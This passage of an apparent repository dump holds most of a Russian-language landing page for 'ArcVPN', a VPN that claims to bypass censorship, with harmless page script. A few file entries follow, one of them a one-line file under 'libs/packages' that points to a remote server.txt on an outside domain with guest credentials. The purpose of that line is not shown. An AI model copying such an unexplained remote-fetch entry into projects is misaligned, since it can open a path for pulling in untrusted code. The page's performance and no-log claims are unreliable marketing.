stroke-dasharray=\"5 7\" />\n                            <!-- Labels above lines -->\n                            <text x=\"152\" y=\"108\" text-anchor=\"middle\" fill=\"rgba(96,165,250,.55)\" font-size=\"7.5\" font-family=\"Inter,sans-serif\" font-weight=\"600\" letter-spacing=\"1.2\">ЗАШИФРОВАНО</text>\n                            <text x=\"328\" y=\"108\" text-anchor=\"middle\" fill=\"rgba(34,211,238,.5)\" font-size=\"7.5\" font-family=\"Inter,sans-serif\" font-weight=\"600\" letter-spacing=\"1.2\">ОТКРЫТО</text>\n                            <!-- ТСПУ node above left segment -->\n                            <line x1=\"152\" y1=\"88\" x2=\"152\" y2=\"125\" stroke=\"rgba(248,113,113,.18)\" stroke-width=\"1\" stroke-dasharray=\"3 4\" />\n                            <circle cx=\"152\" cy=\"68\" r=\"20\" fill=\"rgba(248,113,113,.07)\" stroke=\"rgba(248,113,113,.26)\" stroke-width=\"1.2\" />\n                            <path d=\"M143 68 C146 62 158 62 161 68 C158 74 146 74 143 68Z\" fill=\"none\" stroke=\"rgba(248,113,113,.55)\" stroke-width=\"1.3\" stroke-linecap=\"round\" />\n                            <circle cx=\"152\" cy=\"68\" r=\"3.2\" fill=\"rgba(248,113,113,.45)\" />\n                            <circle cx=\"152\" cy=\"68\" r=\"1.4\" fill=\"rgba(248,113,113,.82)\" />\n                            <line x1=\"145\" y1=\"60\" x2=\"159\" y2=\"76\" stroke=\"rgba(248,113,113,.9)\" stroke-width=\"1.7\" stroke-linecap=\"round\">\n                                <animate attributeName=\"stroke-opacity\" values=\".9;1;.9\" dur=\"2s\" repeatCount=\"indefinite\" />\n                            </line>\n                            <text x=\"152\" y=\"100\" text-anchor=\"middle\" fill=\"rgba(248,113,113,.42)\" font-size=\"7.5\" font-family=\"Inter,sans-serif\" font-weight=\"700\" letter-spacing=\"1.5\">ТСПУ</text>\n                            <circle cx=\"152\" cy=\"130\" r=\"4\" fill=\"rgba(248,113,113,.18)\" stroke=\"rgba(248,113,113,.55)\" stroke-width=\"1\">\n                                <animate attributeName=\"stroke-opacity\" values=\".55;1;.55\" dur=\"1.6s\" repeatCount=\"indefinite\" />\n                            </circle>\n                            <!-- VPN HUB center -->\n                            <circle cx=\"240\" cy=\"130\" r=\"46\" fill=\"rgba(37,99,235,.04)\" stroke=\"rgba(37,99,235,.08)\" stroke-width=\"1\" />\n                            <circle cx=\"240\" cy=\"130\" r=\"34\" fill=\"rgba(37,99,235,.07)\" stroke=\"rgba(37,99,235,.18)\" stroke-width=\"1.2\">\n                                <animate attributeName=\"r\" values=\"28;42;28\" dur=\"3s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".4 0 .6 1;.4 0 .6 1\" />\n                                <animate attributeName=\"stroke-opacity\" values=\".18;.03;.18\" dur=\"3s\" repeatCount=\"indefinite\" />\n                            </circle>\n                            <path d=\"M240 114 L253 120 L253 130 Q253 141 240 146 Q227 141 227 130 L227 120 Z\" fill=\"rgba(37,99,235,.22)\" stroke=\"rgba(96,165,250,.62)\" stroke-width=\"1.5\" stroke-linejoin=\"round\" />\n                            <rect x=\"235\" y=\"129\" width=\"10\" height=\"8\" rx=\"1.5\" fill=\"none\" stroke=\"rgba(147,197,253,.65)\" stroke-width=\"1.2\" />\n                            <path d=\"M237 129v-2.5a3 3 0 016 0v2.5\" fill=\"none\" stroke=\"rgba(147,197,253,.55)\" stroke-width=\"1.2\" stroke-linecap=\"round\" />\n                            <circle cx=\"240\" cy=\"133\" r=\"1.6\" fill=\"rgba(147,197,253,.65)\">\n                                <animate attributeName=\"r\" values=\"1.6;3;1.6\" dur=\"2s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".4 0 .6 1;.4 0 .6 1\" />\n                                <animate attributeName=\"fill-opacity\" values=\"1;.2;1\" dur=\"2s\" repeatCount=\"indefinite\" />\n                            </circle>\n                            <text x=\"240\" y=\"170\" text-anchor=\"middle\" fill=\"rgba(255,255,255,.2)\" font-size=\"8\" font-family=\"Inter,sans-serif\" font-weight=\"700\" letter-spacing=\"1.5\">VPN</text>\n                            <!-- LAPTOP node left -->\n                            <circle cx=\"62\" cy=\"130\" r=\"28\" fill=\"rgba(37,99,235,.08)\" stroke=\"rgba(37,99,235,.28)\" stroke-width=\"1.2\" />\n                            <rect x=\"50\" y=\"120\" width=\"24\" height=\"16\" rx=\"2.5\" fill=\"none\" stroke=\"rgba(96,165,250,.7)\" stroke-width=\"1.5\" />\n                            <line x1=\"55\" y1=\"125\" x2=\"69\" y2=\"125\" stroke=\"rgba(96,165,250,.3)\" stroke-width=\"1\" />\n                            <line x1=\"55\" y1=\"129\" x2=\"63\" y2=\"129\" stroke=\"rgba(96,165,250,.2)\" stroke-width=\"1\" />\n                            <rect x=\"48\" y=\"136\" width=\"28\" height=\"2.5\" rx=\"1\" fill=\"rgba(96,165,250,.22)\" />\n                            <text x=\"62\" y=\"173\" text-anchor=\"middle\" fill=\"rgba(255,255,255,.2)\" font-size=\"8\" font-family=\"Inter,sans-serif\" font-weight=\"700\" letter-spacing=\"1.5\">ВЫ</text>\n                            <!-- GLOBE node right -->\n                            <circle cx=\"418\" cy=\"130\" r=\"28\" fill=\"rgba(34,211,238,.06)\" stroke=\"rgba(34,211,238,.22)\" stroke-width=\"1.2\" />\n                            <circle cx=\"418\" cy=\"130\" r=\"13\" fill=\"none\" stroke=\"rgba(34,211,238,.62)\" stroke-width=\"1.5\" />\n                            <ellipse cx=\"418\" cy=\"130\" rx=\"5\" ry=\"13\" fill=\"none\" stroke=\"rgba(34,211,238,.45)\" stroke-width=\"1.2\" />\n                            <line x1=\"405\" y1=\"130\" x2=\"431\" y2=\"130\" stroke=\"rgba(34,211,238,.4)\" stroke-width=\"1.2\" />\n                            <line x1=\"406\" y1=\"123\" x2=\"430\" y2=\"123\" stroke=\"rgba(34,211,238,.22)\" stroke-width=\"1\" />\n                            <line x1=\"406\" y1=\"137\" x2=\"430\" y2=\"137\" stroke=\"rgba(34,211,238,.22)\" stroke-width=\"1\" />\n                            <text x=\"418\" y=\"173\" text-anchor=\"middle\" fill=\"rgba(255,255,255,.18)\" font-size=\"8\" font-family=\"Inter,sans-serif\" font-weight=\"700\" letter-spacing=\"1.5\">ИНТЕРНЕТ</text>\n                            <!-- PARTICLES: ВЫ→VPN -->\n                            <circle r=\"5\" fill=\"#3b82f6\" filter=\"url(#hi-glow)\">\n                                <animateMotion dur=\"1.8s\" repeatCount=\"indefinite\">\n                                    <mpath href=\"#p-lv\" />\n                                </animateMotion>\n                                <animate attributeName=\"opacity\" values=\"0;1;1;0\" keyTimes=\"0;0.18;0.82;1\" dur=\"1.8s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".4 0 .6 1;0 0 1 0;.4 0 .6 1\" />\n                            </circle>\n                            <circle r=\"3\" fill=\"#60a5fa\">\n                                <animateMotion dur=\"1.8s\" begin=\"-0.85s\" repeatCount=\"indefinite\">\n                                    <mpath href=\"#p-lv\" />\n                                </animateMotion>\n                                <animate attributeName=\"opacity\" values=\"0;0.7;0.7;0\" keyTimes=\"0;0.18;0.82;1\" dur=\"1.8s\" begin=\"-0.85s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".4 0 .6 1;0 0 1 0;.4 0 .6 1\" />\n                            </circle>\n                            <!-- PARTICLES: VPN→ИНТЕРНЕТ -->\n                            <circle r=\"5\" fill=\"#22d3ee\" filter=\"url(#hi-glow)\">\n                                <animateMotion dur=\"1.8s\" begin=\"-0.3s\" repeatCount=\"indefinite\">\n                                    <mpath href=\"#p-vg\" />\n                                </animateMotion>\n                                <animate attributeName=\"opacity\" values=\"0;1;1;0\" keyTimes=\"0;0.18;0.82;1\" dur=\"1.8s\" begin=\"-0.3s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".4 0 .6 1;0 0 1 0;.4 0 .6 1\" />\n                            </circle>\n                            <circle r=\"3\" fill=\"#a5f3fc\">\n                                <animateMotion dur=\"1.8s\" begin=\"-1.1s\" repeatCount=\"indefinite\">\n                                    <mpath href=\"#p-vg\" />\n                                </animateMotion>\n                                <animate attributeName=\"opacity\" values=\"0;0.65;0.65;0\" keyTimes=\"0;0.18;0.82;1\" dur=\"1.8s\" begin=\"-1.1s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".4 0 .6 1;0 0 1 0;.4 0 .6 1\" />\n                            </circle>\n                        </svg>\n                    </div><!-- end hiw-illu -->\n                    <!-- dpi table removed -->\n                    <div style=\"display:none\">\n                        <div class=\"path-card\">\n                            <div class=\"path-lbl\">Путь пакета данных</div>\n                            <div class=\"path-row\">\n                                <div class=\"pn\">\n                                    <div class=\"pn-b\" style=\"background:rgba(37,99,235,.12);border:1px solid rgba(37,99,235,.25);color:var(--blue3)\">\n                                        <svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                            <rect x=\"2\" y=\"4\" width=\"20\" height=\"14\" rx=\"2\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                                            <path d=\"M8 21h8M12 18v3\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" />\n                                        </svg>\n                                    </div>\n                                    <div class=\"pn-l\">Вы</div>\n                                </div>\n                                <div class=\"pc\">\n                                    <div class=\"pl pl-g\">\n                                        <div class=\"pdot pd-g\"></div>\n                                        <div class=\"pdot pd-g2\"></div>\n                                    </div>\n                                    <div class=\"pt pt-g\">шифруется</div>\n                                </div>\n                                <div class=\"pn\">\n                                    <div class=\"pn-b\" style=\"background:rgba(248,113,113,.1);border:1px solid rgba(248,113,113,.22);color:#f87171;position:relative\">\n                                        <svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                            <path d=\"M12 2L4 6v6c0 5.5 3.6 10.7 8 12 4.4-1.3 8-6.5 8-12V6l-8-4z\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                                            <path d=\"M9 9l6 6M15 9l-6 6\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" />\n                                        </svg>\n                                        <div class=\"nn-badge\" style=\"border-color:var(--bg1)\"><svg width=\"7\" height=\"7\" viewBox=\"0 0 8 8\" fill=\"none\">\n                                                <path d=\"M2 2l4 4M6 2L2 6\" stroke=\"white\" stroke-width=\"1.5\" stroke-linecap=\"round\" />\n                                            </svg></div>\n                                    </div>\n                                    <div class=\"pn-l\">ТСПУ</div>\n                                </div>\n                                <div class=\"pc\">\n                                    <div class=\"pl pl-g\">\n                                        <div class=\"pdot pd-g\"></div>\n                                        <div class=\"pdot pd-g2\"></div>\n                                    </div>\n                                    <div class=\"pt pt-g\">пропускает</div>\n                                </div>\n                                <div class=\"pn\">\n                                    <div class=\"pn-b\" style=\"background:rgba(52,211,153,.1);border:1px solid rgba(52,211,153,.22);color:var(--green);position:relative\">\n                                        <svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                            <rect x=\"5\" y=\"11\" width=\"14\" height=\"10\" rx=\"2\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                                            <path d=\"M8 11V7a4 4 0 018 0v4\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" />\n                                            <circle cx=\"12\" cy=\"15.5\" r=\"1.5\" fill=\"currentColor\" />\n                                        </svg>\n                                        <div class=\"nn-ok\" style=\"border-color:var(--bg)\">TLS</div>\n                                    </div>\n                                    <div class=\"pn-l\">ArcVPN</div>\n                                </div>\n                                <div class=\"pc\">\n                                    <div class=\"pl pl-b\">\n                                        <div class=\"ndot nd-w\"></div>\n                                    </div>\n                                    <div class=\"pt\" style=\"color:var(--w18)\">открытый</div>\n                                </div>\n                                <div class=\"pn\">\n                                    <div class=\"pn-b\" style=\"background:rgba(34,211,238,.08);border:1px solid rgba(34,211,238,.2);color:var(--cyan)\">\n                                        <svg width=\"19\" height=\"19\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                            <circle cx=\"12\" cy=\"12\" r=\"9\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                                            <ellipse cx=\"12\" cy=\"12\" rx=\"4.5\" ry=\"9\" stroke=\"currentColor\" stroke-width=\"1.2\" />\n                                            <line x1=\"3\" y1=\"12\" x2=\"21\" y2=\"12\" stroke=\"currentColor\" stroke-width=\"1.2\" />\n                                        </svg>\n                                    </div>\n                                    <div class=\"pn-l\">Интернет</div>\n                                </div>\n                            </div>\n                            <div class=\"path-stats\">\n                                <div class=\"ps\">\n                                    <div class=\"ps-v\">256<em>bit</em></div>\n                                    <div class=\"ps-l\">AES-GCM</div>\n                                </div>\n                                <div class=\"ps\">\n                                    <div class=\"ps-v\">&lt;5<em>мс</em></div>\n                                    <div class=\"ps-l\">Оверхед</div>\n                                </div>\n                                <div class=\"ps\">\n                                    <div class=\"ps-v\">0<em>log</em></div>\n                                    <div class=\"ps-l\">Логов</div>\n                                </div>\n                            </div>\n                        </div>\n                        <!-- DPI table -->\n                        <div class=\"dpi-table rv dl3\" id=\"dpiTable\" style=\"margin-top:16px\">\n                            <div class=\"dt-head\">\n                                <div class=\"dt-h\">Протокол</div>\n                                <div class=\"dt-h\">Видимость DPI</div>\n                                <div class=\"dt-h\">Статус</div>\n                            </div>\n                            <div class=\"dt-body\">\n                                <div class=\"dt-row\">\n                                    <div class=\"dt-name\">OpenVPN</div>\n                                    <div class=\"dt-bar-wrap\">\n                                        <div class=\"dt-bar db-red\" data-w=\"74%\"></div>\n                                    </div>\n                                    <div class=\"dt-verdict dv-r\"><svg width=\"8\" height=\"8\" viewBox=\"0 0 8 8\" fill=\"none\">\n                                            <path d=\"M1.5 1.5l5 5M6.5 1.5l-5 5\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"round\" />\n                                        </svg>Заблок.</div>\n                                </div>\n                                <div class=\"dt-row\">\n                                    <div class=\"dt-name\">WireGuard</div>\n                                    <div class=\"dt-bar-wrap\">\n                                        <div class=\"dt-bar db-amb\" data-w=\"52%\"></div>\n                                    </div>\n                                    <div class=\"dt-verdict dv-a\"><svg width=\"8\" height=\"8\" viewBox=\"0 0 8 8\" fill=\"none\">\n                                            <path d=\"M4 1.5v3M4 6v.5\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linecap=\"round\" />\n                                        </svg>Дроссель</div>\n                                </div>\n                                <div class=\"dt-row\">\n                                    <div class=\"dt-name\">ArcVPN</div>\n                                    <div class=\"dt-bar-wrap\">\n                                        <div class=\"dt-bar db-grn\" data-w=\"97%\" style=\"background:linear-gradient(90deg,var(--blue),var(--blue3))\"></div>\n                                    </div>\n                                    <div class=\"dt-verdict dv-g\"><svg width=\"8\" height=\"8\" viewBox=\"0 0 8 8\" fill=\"none\">\n                                            <path d=\"M1.5 4.5l2 2 3-4\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\" />\n                                        </svg>Проходит</div>\n                                </div>\n                            </div>\n                        </div>\n                    </div><!-- close hidden placeholder -->\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- PERFORMANCE -->\n    <section class=\"sec\" id=\"perf\">\n        <div class=\"sec-glow\"></div>\n        <div class=\"sec-wrap\">\n            <div class=\"sec-head\">\n                <div class=\"sec-kicker rv\">Производительность</div>\n                <h2 class=\"rv dl1\">Скорость без <em class=\"g\">компромиссов</em></h2>\n            </div>\n            <div class=\"perf-layout\">\n                <!-- planet animation -->\n                <div class=\"planet-wrap rv\">\n                    <svg class=\"planet-svg\" viewBox=\"0 0 400 400\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <defs>\n                            <radialGradient id=\"pg\" cx=\"36%\" cy=\"30%\" r=\"70%\">\n                                <stop offset=\"0%\" stop-color=\"#93c5fd\" />\n                                <stop offset=\"28%\" stop-color=\"#2563eb\" />\n                                <stop offset=\"72%\" stop-color=\"#1e3a8a\" />\n                                <stop offset=\"100%\" stop-color=\"#080c14\" />\n                            </radialGradient>\n                            <radialGradient id=\"atmg\" cx=\"50%\" cy=\"50%\" r=\"50%\">\n                                <stop offset=\"62%\" stop-color=\"transparent\" />\n                                <stop offset=\"100%\" stop-color=\"rgba(59,130,246,.08)\" />\n                            </radialGradient>\n                            <clipPath id=\"pclip\">\n                                <circle cx=\"200\" cy=\"200\" r=\"80\" />\n                            </clipPath>\n                            <filter id=\"dg\" x=\"-150%\" y=\"-150%\" width=\"400%\" height=\"400%\">\n                                <feGaussianBlur stdDeviation=\"5\" result=\"b\" />\n                                <feMerge>\n                                    <feMergeNode in=\"b\" />\n                                    <feMergeNode in=\"SourceGraphic\" />\n                                </feMerge>\n                            </filter>\n                            <filter id=\"dg2\" x=\"-200%\" y=\"-200%\" width=\"500%\" height=\"500%\">\n                                <feGaussianBlur stdDeviation=\"7\" result=\"b\" />\n                                <feMerge>\n                                    <feMergeNode in=\"b\" />\n                                    <feMergeNode in=\"SourceGraphic\" />\n                                </feMerge>\n                            </filter>\n                        </defs>\n\n                        <!-- atmosphere pulse -->\n                        <circle cx=\"200\" cy=\"200\" r=\"92\" fill=\"none\" stroke=\"rgba(37,99,235,.2)\" stroke-width=\"20\">\n                            <animate attributeName=\"r\" values=\"88;108;88\" dur=\"5s\" calcMode=\"spline\" keySplines=\".4 0 .6 1;.4 0 .6 1\" repeatCount=\"indefinite\" />\n                            <animate attributeName=\"stroke-width\" values=\"20;4;20\" dur=\"5s\" calcMode=\"spline\" keySplines=\".4 0 .6 1;.4 0 .6 1\" repeatCount=\"indefinite\" />\n                            <animate attributeName=\"stroke-opacity\" values=\".2;.03;.2\" dur=\"5s\" repeatCount=\"indefinite\" />\n                        </circle>\n                        <circle cx=\"200\" cy=\"200\" r=\"84\" fill=\"none\" stroke=\"rgba(96,165,250,.14)\" stroke-width=\"1.5\">\n                            <animate attributeName=\"r\" values=\"82;87;82\" dur=\"3.5s\" repeatCount=\"indefinite\" />\n                            <animate attributeName=\"stroke-opacity\" values=\".14;.04;.14\" dur=\"3.5s\" repeatCount=\"indefinite\" />\n                        </circle>\n\n                        <!-- planet base -->\n                        <circle cx=\"200\" cy=\"200\" r=\"80\" fill=\"url(#pg)\" />\n\n                        <!-- lon/lat grid clipped -->\n                        <g clip-path=\"url(#pclip)\" fill=\"none\" stroke=\"rgba(255,255,255,.075)\" stroke-width=\".75\">\n                            <ellipse cx=\"200\" cy=\"200\" rx=\"80\" ry=\"18\" />\n                            <ellipse cx=\"200\" cy=\"200\" rx=\"80\" ry=\"37\" />\n                            <ellipse cx=\"200\" cy=\"200\" rx=\"80\" ry=\"54\" />\n                            <ellipse cx=\"200\" cy=\"200\" rx=\"80\" ry=\"68\" />\n                            <line x1=\"120\" y1=\"200\" x2=\"280\" y2=\"200\" />\n                            <line x1=\"200\" y1=\"120\" x2=\"200\" y2=\"280\" />\n                            <line x1=\"147\" y1=\"128\" x2=\"253\" y2=\"272\" />\n                            <line x1=\"253\" y1=\"128\" x2=\"147\" y2=\"272\" />\n                        </g>\n\n                        <!-- night shadow -->\n                        <ellipse cx=\"228\" cy=\"200\" rx=\"58\" ry=\"80\" fill=\"rgba(0,0,0,.38)\" clip-path=\"url(#pclip)\" />\n\n                        <!-- surface highlight -->\n                        <ellipse cx=\"170\" cy=\"166\" rx=\"26\" ry=\"16\" fill=\"rgba(255,255,255,.055)\" clip-path=\"url(#pclip)\" />\n\n                        <!-- atmosphere overlay -->\n                        <circle cx=\"200\" cy=\"200\" r=\"80\" fill=\"url(#atmg)\" />\n\n                        <!-- orbit paths (referenced by animateMotion) -->\n                        <ellipse id=\"orb1\" cx=\"200\" cy=\"200\" rx=\"148\" ry=\"95\" fill=\"none\" stroke=\"rgba(37,99,235,.28)\" stroke-width=\"1\" transform=\"rotate(-6 200 200)\" />\n                        <ellipse id=\"orb2\" cx=\"200\" cy=\"200\" rx=\"175\" ry=\"108\" fill=\"none\" stroke=\"rgba(34,211,238,.16)\" stroke-width=\"1\" transform=\"rotate(38 200 200)\" />\n                        <ellipse id=\"orb3\" cx=\"200\" cy=\"200\" rx=\"108\" ry=\"180\" fill=\"none\" stroke=\"rgba(96,165,250,.1)\" stroke-width=\"1\" transform=\"rotate(16 200 200)\" />\n                    </svg>\n                </div>\n\n                <!-- stats -->\n                <div class=\"perf-stats rv dl2\">\n                    <div class=\"psi\">\n                        <div class=\"psi-num\">940<em>Мбит</em></div>\n                        <div>\n                            <div class=\"psi-title\">Пропускная способность</div>\n                            <div class=\"psi-sub\">На канале 1 Гбит/с — 94% без потерь</div>\n                        </div>\n                    </div>\n                    <div class=\"psi\">\n                        <div class=\"psi-num\">&lt;5<em>мс</em></div>\n                        <div>\n                            <div class=\"psi-title\">Оверхед протокола</div>\n                            <div class=\"psi-sub\">Незаметная задержка даже в онлайн-играх</div>\n                        </div>\n                    </div>\n                    <div class=\"psi\">\n                        <div class=\"psi-num\">30<em>+</em></div>\n                        <div>\n                            <div class=\"psi-title\">Стран покрытия</div>\n                            <div class=\"psi-sub\">Серверы в Европе, Азии и Америке</div>\n                        </div>\n                    </div>\n                    <div class=\"psi\">\n                        <div class=\"psi-num\">99.9<em>%</em></div>\n                        <div>\n                            <div class=\"psi-title\">Аптайм серверов</div>\n                            <div class=\"psi-sub\">Автоматическое переключение при сбое</div>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- STEPS -->\n    <section class=\"sec sec-dark\" id=\"start\" style=\"border-bottom:1px solid var(--line)\">\n        <div class=\"sec-wrap\">\n            <div class=\"sec-head\" style=\"text-align:center\">\n                <div class=\"sec-kicker rv\" style=\"justify-content:center\">Начало</div>\n                <h2 class=\"rv dl1\" style=\"text-align:center\">Три шага до <em class=\"g\">свободы</em></h2>\n            </div>\n            <div class=\"steps-row\">\n                <div class=\"st rv\">\n                    <div class=\"st-num\">1</div>\n                    <div class=\"st-title\">Скачайте</div>\n                    <div class=\"st-desc\">GitHub Releases — бинарник для Windows, macOS или Linux. Checksum проверяется автоматически.</div>\n                </div>\n                <div class=\"st rv dl1\">\n                    <div class=\"st-num\">2</div>\n                    <div class=\"st-title\">Установите</div>\n                    <div class=\"st-desc\">Менее минуты. Никакой сложной настройки — параметры подбираются автоматически.</div>\n                </div>\n                <div class=\"st rv dl2\">\n                    <div class=\"st-num\">3</div>\n                    <div class=\"st-title\">Подключитесь</div>\n                    <div class=\"st-desc\">2–3 секунды. Автовыбор ближайшего сервера по пинг-тесту.</div>\n                </div>\n                <div class=\"st rv dl3\">\n                    <div class=\"st-num\">4</div>\n                    <div class=\"st-title\">Пользуйтесь</div>\n                    <div class=\"st-desc\">YouTube, Discord, Instagram работают. Kill-switch встроен, автоподключение при обрыве.</div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- CTA -->\n    <section class=\"cta-sec\">\n        <div class=\"cta-inner\">\n            <div class=\"cta-tag rv\"><span class=\"h-tag-dot\"></span>Бесплатно · Открытый код</div>\n            <h2 class=\"cta-h rv dl1\">Скачайте ArcVPN<br>и будьте <em class=\"g\">свободны</em></h2>\n            <p class=\"cta-p rv dl2\">Без регистрации. Без подписки. Код открыт — убедитесь сами.</p>\n            <div class=\"cta-btns rv dl3\">\n                <a href=\"#\" class=\"btn-prim\">\n                    <svg width=\"16\" height=\"16\" viewBox=\"0 0 24 24\" fill=\"currentColor\">\n                        <path d=\"M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385.6.105.825-.255.825-.57 0-.285-.015-1.23-.015-2.235-3.015.555-3.795-.735-4.035-1.41-.135-.345-.72-1.41-1.23-1.695-.42-.225-1.02-.78-.015-.795.945-.015 1.62.87 1.845 1.23 1.08 1.815 2.805 1.305 3.495.99.105-.78.42-1.305.765-1.605-2.67-.3-5.46-1.335-5.46-5.925 0-1.305.465-2.385 1.23-3.225-.12-.3-.54-1.53.12-3.18 0 0 1.005-.315 3.3 1.23.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23.66 1.65.24 2.88.12 3.18.765.84 1.23 1.905 1.23 3.225 0 4.605-2.805 5.625-5.475 5.925.435.375.81 1.095.81 2.22 0 1.605-.015 2.895-.015 3.3 0 .315.225.69.825.57A12.02 12.02 0 0024 12c0-6.63-5.37-12-12-12z\" />\n                    </svg>\n                    Скачать на GitHub\n                </a>\n                <a href=\"#hiw\" class=\"btn-sec\">Как это работает</a>\n            </div>\n            <div class=\"cta-note rv dl4\">Windows · macOS · Linux · Android · iOS</div>\n        </div>\n    </section>\n\n    <!-- FOOTER -->\n    <footer>\n        <div class=\"ft-inner\">\n            <div class=\"ft-logo\">Arc<span>VPN</span></div>\n            <div class=\"ft-copy\">© 2026 ArcVPN · MIT License · Открытый код</div>\n            <a href=\"#\" class=\"ft-gh\">\n                <svg width=\"13\" height=\"13\" viewBox=\"0 0 24 24\" fill=\"currentColor\">\n                    <path d=\"M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385.6.105.825-.255.825-.57 0-.285-.015-1.23-.015-2.235-3.015.555-3.795-.735-4.035-1.41-.135-.345-.72-1.41-1.23-1.695-.42-.225-1.02-.78-.015-.795.945-.015 1.62.87 1.845 1.23 1.08 1.815 2.805 1.305 3.495.99.105-.78.42-1.305.765-1.605-2.67-.3-5.46-1.335-5.46-5.925 0-1.305.465-2.385 1.23-3.225-.12-.3-.54-1.53.12-3.18 0 0 1.005-.315 3.3 1.23.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23.66 1.65.24 2.88.12 3.18.765.84 1.23 1.905 1.23 3.225 0 4.605-2.805 5.625-5.475 5.925.435.375.81 1.095.81 2.22 0 1.605-.015 2.895-.015 3.3 0 .315.225.69.825.57A12.02 12.02 0 0024 12c0-6.63-5.37-12-12-12z\" />\n                </svg>\n                GitHub →\n            </a>\n        </div>\n    </footer>\n\n    <script>\n        /* NAV */\n        const navEl = document.getElementById('nav');\n        window.addEventListener('scroll', () => navEl.classList.toggle('scrolled', scrollY > 30), { passive: true });\n        const burger = document.getElementById('burgerBtn');\n        const mob = document.getElementById('mobMenu');\n        burger.addEventListener('click', () => mob.classList.toggle('open'));\n        mob.querySelectorAll('a').forEach(a => a.addEventListener('click', () => mob.classList.remove('open')));\n\n        /* REVEAL */\n        const ro = new IntersectionObserver(es => {\n            es.forEach(e => { if (e.isIntersecting) { e.target.classList.add('in'); ro.unobserve(e.target); } });\n        }, { threshold: 0.08 });\n        document.querySelectorAll('.rv').forEach(el => ro.observe(el));\n\n        /* CURSOR GLOW on cards */\n        function addGlow(sel) {\n            document.querySelectorAll(sel).forEach(c => {\n                c.addEventListener('mousemove', e => {\n                    const r = c.getBoundingClientRect();\n                    c.style.setProperty('--mx', `${e.clientX - r.left}px`);\n                    c.style.setProperty('--my', `${e.clientY - r.top}px`);\n                });\n            });\n        }\n        addGlow('.fc');\n        addGlow('.pc-card');\n\n        /* BINARY CURSOR TRAIL */\n        (function () {\n            const cv = document.createElement('canvas');\n            cv.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;pointer-events:none;z-index:9999;mix-blend-mode:screen';\n            document.body.appendChild(cv);\n            const ctx = cv.getContext('2d');\n            ctx.textAlign = 'center';\n            let W = cv.width = window.innerWidth, H = cv.height = window.innerHeight;\n            window.addEventListener('resize', () => {\n                W = cv.width = window.innerWidth;\n                H = cv.height = window.innerHeight;\n                ctx.textAlign = 'center';\n                bits.length = 0;\n            });\n            const bits = [];\n            document.addEventListener('mousemove', e => {\n                if (Math.random() < 0.62) return;\n                bits.push({\n                    x: e.clientX + (Math.random() - 0.5) * 6,\n                    y: e.clientY + (Math.random() - 0.5) * 6,\n                    char: Math.random() > 0.5 ? '1' : '0',\n                    life: 1,\n                    dy: -(Math.random() * 0.10 + 0.015),\n                    dx: (Math.random() - 0.5) * 0.12,\n                    size: 8 + Math.random() * 4,\n                    col: Math.random() > 0.48 ? '#3b82f6' : '#22d3ee'\n                });\n            });\n            function draw() {\n                ctx.clearRect(0, 0, W, H);\n                for (let i = bits.length - 1; i >= 0; i--) {\n                    const b = bits[i];\n                    b.life -= 0.007;\n                    b.y += b.dy;\n                    b.x += b.dx;\n                    if (b.life <= 0) { bits.splice(i, 1); continue; }\n                    ctx.globalAlpha = Math.pow(b.life, 2) * 0.46;\n                    ctx.fillStyle = b.col;\n                    ctx.font = b.size + 'px \"Courier New\",Courier,monospace';\n                    ctx.fillText(b.char, b.x, b.y);\n                }\n                ctx.globalAlpha = 1;\n                requestAnimationFrame(draw);\n            }\n            draw();\n        })();\n\n        /* FEAT-CARD stagger already via dl* classes */\n        /* FEAT FC hover — icon scale handled via CSS */\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "libs/index.html",
    "content": "Empty request.\n"
  },
  {
    "path": "libs/packages/libsc-in-v3.txt",
    "content": "|1.3.9|api|>>https://guest@kay-software.ru:443/server.txt|\n"
  },
  {
    "path": "libs/server.js",
